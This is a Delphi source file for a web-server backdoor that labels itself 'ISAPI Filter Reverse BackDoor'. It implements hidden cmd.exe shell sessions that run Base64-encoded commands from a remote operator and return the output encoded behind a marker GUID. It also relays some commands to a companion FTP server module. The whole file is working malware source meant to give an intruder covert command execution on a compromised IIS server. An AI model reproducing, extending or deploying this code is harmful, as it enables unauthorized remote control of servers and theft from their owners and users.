unit uBackShell;

interface

uses
  Classes, WinSock2, Windows, uGlobal;

const
  WELECOME_MESSAGE: string =
    '          ############################################################' + #13#10 +
    '          ##          ISAPI Filter Reverse BackDoor V0.10           ##' + #13#10 +
    '          ##                 Code by Jasonao.                       ##' + #13#10 +
    '          ############################################################' + #13#10;
  HEAD_GUID: string = '{FF320F18-3BF7-43B0-A7D6-7E6F9368454A}';
type
  TCmdParam = record
    SessionID: Cardinal;
    CmdStr: string;
  end;
  PCmdParam = ^TCmdParam;
  
  TBackShellThread = class(TThread)
  private
    FSessionID: Cardinal;
    FEvent: THandle;
    FCmdLines: TThreadList;
    FCmdShellSessions: TThreadList;
  protected
    procedure Execute; override;
  public
    constructor Create;
    destructor Destroy; override;
    procedure AddCmdLine(SessionID: Cardinal; const cmdStr: string);
    function CreateSession(const cmdPath: string): string;
    function GetShellOut(SessionID: Cardinal): string;
  end;

  TCmdShellSession = class(TThread)
  private
    FSessionId: Cardinal;
    FCmdPath: string;
    FReadPipeHandle: THandle;
    FWritePipeHandle: THandle;
    FShellStdinPipe: THandle;
    FShellStdoutPipe: THandle;
    FProcessHandle: THandle;
    FReadShellThread: TCommonThread;
    FBoExit: Boolean;
    FLastActiveTick: Cardinal;
    
    FOutputLock: TRTLCriticalSection;
    FOutputData: string;
    procedure ShellOutput(buffer: PChar; bufLen: Cardinal);
    procedure ReadShell;
  protected
    procedure Execute; override;
    function StartShell: Boolean;
    procedure FreeResource;
  public
    constructor Create;
    destructor Destroy; override;
    procedure ExeCmdStr(const cmdStr: string);
    function GetOutData: string;
    property CmdPath: string read FCmdPath write FCmdPath;
    property SessionID: Cardinal read FSessionId write FSessionID;
    property LastActiveTick: Cardinal read FLastActiveTick write FLastActiveTick;
  end;

var
  G_BackShellThread: TBackShellThread;
  WSAData: TWSAData;
  
implementation

uses
  SysUtils, uFtpServer;

{ TBackShellThread }

procedure TBackShellThread.AddCmdLine(SessionID: Cardinal; const cmdStr: string);
var
  p: PCmdParam;
begin
  New(p);
  FillChar(p^, Sizeof(TCmdParam), 0);
  with FCmdLines.LockList do
  try
    p.SessionID := SessionID;
    if cmdStr<>'' then
      p.CmdStr := Base64ToStr(cmdStr)
    else
      p.CmdStr := cmdStr;
    Add(p);
  finally
    FCmdLines.UnlockList;
  end;
end;

function TBackShellThread.CreateSession(const cmdPath: string): string;
var
  session: TCmdShellSession;
begin
  with FCmdShellSessions.LockList do
  try
    session := TCmdShellSession.Create;
    session.SessionID := FSessionID;
    session.CmdPath := cmdPath;
    session.Resume;
    Add(session);
    Result := IntToStr(FSessionID);
    Inc(FSessionID);
  finally
    FCmdShellSessions.UnlockList;
  end;
end;

function TBackShellThread.GetShellOut(SessionID: Cardinal): string;
var
  i: Integer;
  OutData: string;
begin
  Result := '';
  with FCmdShellSessions.LockList do
  try
    for i := 0 to Count - 1 do
    begin
      if TCmdShellSession(Items[i]).SessionID=SessionID then
      begin
        OutData := TCmdShellSession(Items[i]).GetOutData;
        if OutData<>'' then
          Result := HEAD_GUID + StrToBase64(Utf8Encode(OutData));
        Exit;
      end;
    end;    
  finally
    FCmdShellSessions.UnlockList;
  end;
end;

procedure TBackShellThread.Execute;
var
  i: Integer;
  p: PCmdParam;
begin
  while not Terminated do
  begin
    with FCmdLines.LockList do
    try
      if Count>0 then
      begin
        p := Items[0];
        Delete(0);
      end else
        p := nil;
    finally
      FCmdLines.UnlockList;
    end;

    with FCmdShellSessions.LockList do
    try
      if Assigned(p) then
      begin
        for i := 0 to Count - 1 do
        begin
          if TCmdShellSession(Items[i]).SessionID=p.SessionID then
          begin
            TCmdShellSession(Items[i]).ExeCmdStr(p.CmdStr);
            Break;
          end;
        end;
        Dispose(p);
      end;

      i := 0;
      while i < Count do
      begin
        if TCmdShellSession(Items[i]).Terminated then
        begin
          TCmdShellSession(Items[i]).Free;
          Delete(i);
        end else if GetTickCount-TCmdShellSession(Items[i]).LastActiveTick>1000 * 60 * 30 then
          TCmdShellSession(Items[i]).ExeCmdStr(CMD_QUIT+#13+#10)
        else
          Inc(i);

      end;
    finally
      FCmdShellSessions.UnlockList;
    end;
    WaitforSingleObject(FEvent, 100);
  end;
end;

constructor TBackShellThread.Create;
begin
  FSessionID := 1;
  FEvent := CreateEvent(nil, True, False, nil);
  FCmdShellSessions := TThreadList.Create;
  FCmdLines := TThreadList.Create;
  inherited Create(False);
end;

destructor TBackShellThread.Destroy;
begin
  FCmdShellSessions.Free;
  FCmdLines.Free;
  CloseHandle(FEvent);
  inherited;
end;

{ TShellExecuteThread }

constructor TCmdShellSession.Create;
var
  sa: TSecurityAttributes;
begin
  inherited Create(True);
  InitializeCriticalSection(FOutputLock);
  FReadShellThread := TCommonThread.Create(True);
  FReadShellThread.ThreadMethod := ReadShell;

  FillChar(sa, Sizeof(TSecurityAttributes), 0);
  sa.nLength := Sizeof(TSecurityAttributes);
  sa.bInheritHandle := True;
  CreatePipe(FReadPipeHandle, FShellStdoutPipe, @sa, 0);
  CreatePipe(FShellStdinPipe, FWritePipeHandle, @sa, 0);
  FLastActiveTick := GetTickCount;
end;

destructor TCmdShellSession.Destroy;
begin
  FreeResource;
  FReadShellThread.Free;
  DeleteCriticalSection(FOutputLock);
  inherited;
end;

procedure TCmdShellSession.ExeCmdStr(const cmdStr: string);
var
  BytesWritten: DWORD;
begin
  if FBoExit then
    Exit;
    
  if StrLIComp(CMD_QUIT, PChar(cmdStr), Length(CMD_QUIT))=0 then
  begin
    FBoExit := True;
    Exit;
  end;
  if (StrLIComp(CMD_FTP_OPEN, PChar(cmdStr), Length(CMD_FTP_OPEN))=0) or
     (StrLIComp(CMD_FTP_RESET, PChar(cmdStr), Length(CMD_FTP_RESET))=0) or
     (StrLIComp(CMD_FTP_CLOSE, PChar(cmdStr), Length(CMD_FTP_CLOSE))=0)then
  begin
    G_FtpServer.AddCmd(cmdStr);
    Exit;
  end;
  BytesWritten := 0;
  WriteFile(FWritePipeHandle, PChar(cmdStr)^, Length(cmdStr), BytesWritten, nil);
end;

function TCmdShellSession.GetOutData: string;
begin
  LastActiveTick := GetTickCount;
  EnterCriticalSection(FOutputLock);
  try
    if Length(FOutputData)>0 then
    begin
      result := FOutputData;
      FOutputData := '';
      SetLength(FOutputData, 0);
    end else
      Result := '';
  finally
    LeaveCriticalSection(FOutputLock);
  end;
end;

procedure TCmdShellSession.Execute;
var
  i: Integer;
  RunTick: Cardinal;
  HandleArray: array[0..1] of THandle;
begin
  RunTick := GetTickCount;
  StartShell;
  ShellOutput(PChar(WELECOME_MESSAGE), Length(WELECOME_MESSAGE));
  HandleArray[0] := FReadShellThread.Handle;
  HandleArray[1] := FProcessHandle;
  FReadShellThread.Resume;
  
  i := WaitForMultipleObjects(2, @HandleArray[0], False, INFINITE);
  case i of
  WAIT_OBJECT_0 + 0:
    begin
      TerminateProcess(FProcessHandle, 1);
    end;
  WAIT_OBJECT_0 + 1:
    begin
      TerminateThread(FReadShellThread.Handle, 0);
    end;
  end;
  if GetTickCount-RunTick<1000 * 30 then
    Sleep(1000 * 60 * 5);
  FreeResource;
  Terminate;
end;

procedure TCmdShellSession.ShellOutput(buffer: PChar; bufLen: Cardinal);
var
  i, l: Integer;
begin
  EnterCriticalSection(FOutputLock);
  try
    if bufLen>0 then
    begin
      l := Length(FOutputData);
      SetLength(FOutputData, l + bufLen);
      for i := 1 to bufLen do
      begin
        FOutputData[l + i] := buffer[i-1];
      end;
    end;
  finally
    LeaveCriticalSection(FOutputLock);
  end;
end;

procedure TCmdShellSession.ReadShell;
const
  BUFFER_SIZE = 1024;
var
  PrevChar: char;
  Buffer: PChar;
  Buffer2: PChar;
  globalMsg: string;
  lastDealGlobalMsgTick: Cardinal;
  BytesRead, BytesToWrite, BufferCnt: DWord;
begin
  GetMem(Buffer, BUFFER_SIZE + 1);
  GetMem(Buffer2, BUFFER_SIZE*2 + 30);
  try
    lastDealGlobalMsgTick := GetTickCount;
    while PeekNamedPipe(FReadPipeHandle,
                      @Buffer[0], BUFFER_SIZE,
                      @BytesRead, nil, nil) do
    begin
      if FBoExit then
        Break;

      if GetTickCount-lastDealGlobalMsgTick>200 then
      begin
        lastDealGlobalMsgTick := GetTickCount;
        globalMsg := PopGlobalMsg;
        ShellOutput(PChar(globalMsg), Length(globalMsg));
      end;
      if BytesRead>0 then
      begin
        ReadFile(FReadPipeHandle,
                 Buffer^, BUFFER_SIZE,
                 BytesRead, nil);
      end else
      begin
        Sleep(50);
        continue;
      end;

      PrevChar := #0;
      BufferCnt := 0;
      BytesToWrite := 0;
      while BufferCnt < BytesRead do
      begin
        if (Buffer[BufferCnt]=C_L) and (PrevChar<>C_R) then
        begin
          Buffer2[BytesToWrite] := C_R; Inc(BytesToWrite);
        end;
        PrevChar := Buffer[BufferCnt];
        Buffer2[BytesToWrite] := Buffer[BufferCnt]; Inc(BytesToWrite);
        Inc(BufferCnt);
      end;

      if BytesToWrite>0 then
        ShellOutput(Buffer2, BytesToWrite);
    end;
  finally
    FreeMem(Buffer2);
    FreeMem(Buffer);
    ExitThread(0);
  end;
end;

function TCmdShellSession.StartShell: Boolean;
var
  si: TStartupInfo;
  pCmdExe: PChar;
  pi: TProcessInformation;
begin
  FillChar(si, Sizeof(TStartupInfo), 0);
  FillChar(pi, Sizeof(TProcessInformation), 0);

  si.cb := Sizeof(TStartupInfo);
  si.wShowWindow := SW_HIDE;
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.hStdInput := FShellStdinPipe;
  si.hStdOutput := FShellStdoutPipe;
  si.hStdError := FShellStdoutPipe;

  if FileExists(FCmdPath) then
    pCmdExe := PChar(FCmdPath)
  else
    pCmdExe := 'cmd.exe';
  if CreateProcess(nil, pCmdExe, nil, nil, True, 0, nil, nil, si, pi)then
  begin
    FProcessHandle := pi.hProcess;
  end;
  Result := FProcessHandle<>0;
end;

procedure TCmdShellSession.FreeResource;
begin
  if FReadPipeHandle<>0 then
  begin
    DisconnectNamedPipe(FReadPipeHandle);
    CloseHandle(FReadPipeHandle);
    FReadPipeHandle := 0;
  end;
  
  if FWritePipeHandle<>0 then
  begin
    DisconnectNamedPipe(FWritePipeHandle);
    CloseHandle(FWritePipeHandle);
    FWritePipeHandle := 0;
  end;

  if FShellStdinPipe<>0 then
  begin
    DisconnectNamedPipe(FShellStdinPipe);
    CloseHandle(FShellStdinPipe);
    FShellStdinPipe := 0;  
  end;

  if FShellStdoutPipe<>0 then
  begin
    DisconnectNamedPipe(FShellStdoutPipe);
    CloseHandle(FShellStdoutPipe);
    FShellStdoutPipe := 0;
  end;
    
  if FProcessHandle<>0 then
  begin
    TerminateProcess(FProcessHandle, 0);
    CloseHandle(FProcessHandle);
    FProcessHandle := 0;
  end;
end;

initialization
  WSAStartup(MAKEWORD(2, 2), wsaData);

end.
                                                               